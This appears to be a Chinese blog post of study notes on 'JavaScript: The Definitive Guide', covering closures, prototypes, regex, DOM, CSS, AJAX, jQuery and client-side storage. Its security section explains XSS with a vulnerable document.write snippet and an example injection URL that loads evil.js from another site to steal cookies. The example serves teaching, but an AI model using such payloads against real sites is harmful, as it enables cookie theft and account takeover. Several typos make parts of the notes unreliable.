%3cscript%3e中写html,Javascript 权威指南笔记

1. javascript中有对象概念  包含属性和属性值

2. 对象+函数=方法 a.reverse() a对象调用逆排序方法

3. 区分大小写 html 不区分 不要搞混

4. 语句后最好加分号

5. 自动内存垃圾回收 当没有引用指向对象时被回收

6. 转义符 \

7. 局部变量必须用var

8. 全局变量和局部变量重名,全局变量被覆盖

9. 函数里声明的所有变量都被提前至函数体顶部

10. 将所有变量看作是一个对象的属性 这些对象(虚拟的)形成一个作用域链 查找对象时从第一个对象开始查找

11. == ===表示相等和严格相等

12. in 运算符表示判断一个对象中是否包含某属性

13. instanceof 判断谁是谁的实例

14. for/in循环用来更方便的遍历对象的属性

15. 语句可以定义标签 mainloop:while() 通过标签调用while循环

1. 闭包:在JS中有作用域和执行环境的问题,在函数内部的变量在函数外部是无法访问的, 全局变量可以在函数内部访问创建闭包可以解决  闭包可以将变量一直保存在内存中

2. 闭包原理: f1中n对外部不可见  f2中n=f1中n 所以return f2就可在外部对n可见

function f1(){

var n=999;

function f2(){

alert(n);

}

return f2;

}

var result=f1();

result(); // 999

3.不能在外部直接调用内部函数

4.如果内部函数引用了位于外部函数的变量 当外部函数被调用完成后 这个变量也不会被释放 因为闭包需要它

1. 每个对象都从原型对象那里继承属性

2. 定义构造函数类名首字母大写 普通函数首字小写

3. 构造函数必须通过new 来创建

4. 对象从其原型继承属性,可以通过给原型对象添加新的方法来扩充类--类的动态可继承性

5. 鸭式辨型:通过对象的行为判断一个对象的类是什么

6. JavaScript里所有的东西都是对象. 对象是属性的集合. 数字, 字符串, 布尔值等原始值是"伪对象", 它们同样拥有属性, 但是是在栈上分配并按值传递. 而其他的对象是堆上分配并按引用传递.

7. 每个对象都有constructor属性表示创建该对象的构造函数

8. 构造函数也是对象, 那构造函数是由什么创建? 内建的Function函数

9. Function是本机代码实现的固有对象. 为了一致性, Function也有constructor属性, 该属性指向它自己

10. prototype是构造函数的一个属性, 该属性指向一个对象. 而这个对象将作为该构造函数所创建的所有实例的基引用(base reference)

11. 模块化:http://www.ruanyifeng.com/blog/2012/10/javascript_module.html

1. 如果不记着哪些符号需要转义 可以在符号前加\预防

2. /[abc]/ 和字母a, b, c中任何一个都匹配

3. ^表示否定匹配 /[^abc]/ 匹配任何不包含a,b,c的字符

4. /[a-z]/匹配所有小写字母  /[a-zA-Z0-9]/匹配所有字母和数字

5. 锚字符:^匹配开头 $匹配结尾 (?=p)零宽正向先行断言 要求接下来的字符都和p匹配 (?!p)零宽负向先行断言要求接下来的字符都不和p匹配

6. 修饰符:i 不区分大小写 g 全局模式匹配 找到所有匹配 m 多行匹配   修饰符在/ /后面

7. js中使用正则表达式:search() match() replace() split()

1. 解构赋值:let [x,y] = [1,2] 等价于 x=1, y=2 两侧结果不用一一对应 多余出来的变量被赋值为undefine

1. window对象是所有客户端JS特性的主要接入点, document属性是window对象最重要的属性 该属性有重要的方法 如 getElementById()

2. HTML中嵌入JS 四种方法:内嵌   标签src属性制定的外部文件中 放在HTML事件处理中如onClick  放在URL中

3.  URL中JS 部分浏览器回执行URL中JS 如FF

4. JS在浏览器中得执行过程

5. JS是单线程的 浏览器在处理脚本时停止用户响应

6. 为了解决JS单线程缺陷可以使用setTimeout() setInterval() 方法在后台运行子任务

7. HTML的 Web Worker 用来执行计算密集任务而不冻结用户界面

8. 功能测试是解决浏览器兼容问题的强大技术:如果想用某种功能但不知道是否在所有浏览器中都有比较好的兼容性就使用功能测试

9. 为处理兼容性问题可以加入IE 兼容性注释

10. 安全性:一些浏览器禁用JS功能:JS打开新的浏览器窗口  关闭自己代开的浏览器窗口 FileUpload 元素 value属性为只读 否则可以将其变为期望上传的文件名(如密码文件) 不能从不同服务器载入文档内容 不能在来自不同服务器的文档上注册监听事件

11. 同源策略:脚本只能读取和所属文档来源相同的窗口和文档属性

12. 跨站脚本 XSS:攻击者向目标站点注入HTML标签或恶意脚本 如

var name = decodeURICompoent(window.location.search.substring(1)) ||"";

document.write("hello"+name);

可以注入:http://siteA/greet.html?name=%3Cscript src=siteB /evil.js%3E%3C/script%3E

其中恶意evil.js来自站点B 将其嵌入到站点A中(例如可以读取站点A的cookie发送到B)

1. 使用navigator.userAgent可以进行浏览器诱探

2. navigate.onLine属性可以检测浏览器是否在线

3. Geolocation确定用户地理信息位置

4. cookieEnable检测浏览器是否可以永久保存cookie

5. appVersion检测浏览器厂商和版本信息

6. platform检测浏览器运行所在系统

1. 查询文档一个或多个元素的方法:指定的id属性 指定的name属性 指定的标签名 指定的CSS类 匹配指定的CSS选择器

2. 没有任何从元素中删除属性的方法 有替代方法操作非HTML标准元素

3. 字符串" "是假值 与undefine不同

1. 文档通过link引入CSS

2. js与CSS结合生成脚本化CSS实现视觉效果成为动态HTML即DHTML

3. CSS层叠指文档样式来源于:浏览器默认样式表 文档样式表 每个独立的HTML元素styLe属性  从右向左覆盖关系 形成最终样式

4. 一些浏览器厂商实现了非标准CSS属性

5. CSS属性名中包含连字符 在JS中应该改为驼峰写法

6. ‌CSS内联样式

7. 元素的style属性代表了元素的内联样式 它覆盖了元素的所有样式属性

8. 计算样式是浏览器最终显示的样式 只读 用getComputedStyle()获取

1. JS采用异步事件驱动编程模型

1. AJAX应用的主要特点是用脚本操作HTTP和WEB服务进行数据交换 而不会使页面重载

2. Comet框架同AJAX作用相仿 AJAX中客户端从服务端拉数据  Comet是服务器端向客户端推数据

3. 有多种方式实现AJAX:

○ 有src属性 浏览器在加载时会向服务器端发送其src中内容服务器端相应后会把图片发总给浏览器客户端

○ 也有src属性 比更强大

○ XMLHttpRequest 对象 所有浏览器都支持 GET POST请求都可以 可以用Document对象返回给浏览器 可以返回任何类型文档

○ XMLHttpRequest 也支持同步相应

○ XMLHttpRequest 同源性:文档是哪个服务器的 就相应哪个服务器的HTTP请求

○ XMLHttpRequest2 在HTTP相应中发送合适的CORS(Cross-Origin Resoure Sharing)跨域资源共享 允许跨域访问网站

4. 基于服务器端推送事件的Comet技术:Comet:基于 HTTP 长连接的“服务器推”技术

<------------------------------JQuery类库--------------------------------------->

1. JQuery 目的:JS API太简单  各浏览器要自己写API 导致浏览器之间不兼容

2. JQuery 特性:

• 丰富强大的语法

• 高效的查询方法

• 一套有用的方法操作选中的元素

• 强大的函数式的编程技巧 批量操作元素集

• 简洁的语法调用(链式调用),用来表示一系列操作

3. JQuery类库全局函数:JQuery() 用$代替

4. $() 参数有四种:CSS选择器  Element/Window/Document对象 HTML文本 函数(onload()的      JQuery版本)

5. JQuery中实现AJAX:

•  load()方法:参数为URL 异步加载URL中内容到选择的元素中 通常用GET 当参数为数据对象时用 POST

<------------------------------------客户端存储---------------------------------->

1. 浏览器提供API将数据存储在客户端用户电脑上

2. 客户端存储形式:

○ Web存储 主要用localStorage对象和sessionStorage对象 这种方式易于使用

○ cookie 早期客户端存储机制

○ IE User Data

○ 离线Web应用 HTML5中定义了离线Web应用API 将Web应用整体存储在客户端

○ Web数据库 主流浏览器内置了SQL数据库客户端API

○ 文件系统API

3.   文档源是通过协议、主机名、及端口三者来确定的

4.   window对象两个属性:localStorage sessionStorage 两个属性代表同一个Storage 设置属性值即可存储

5.   localStorage存储时永久性的 作用域限定在文档元级别

6.  JS中cookie用于保存状态及能够为web浏览器提供身份识别的机制 不采用加密 不安全(HTTPS中cookie加密)

7.  离线WEB应用:将自己安装在应用程序缓存中的应用

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值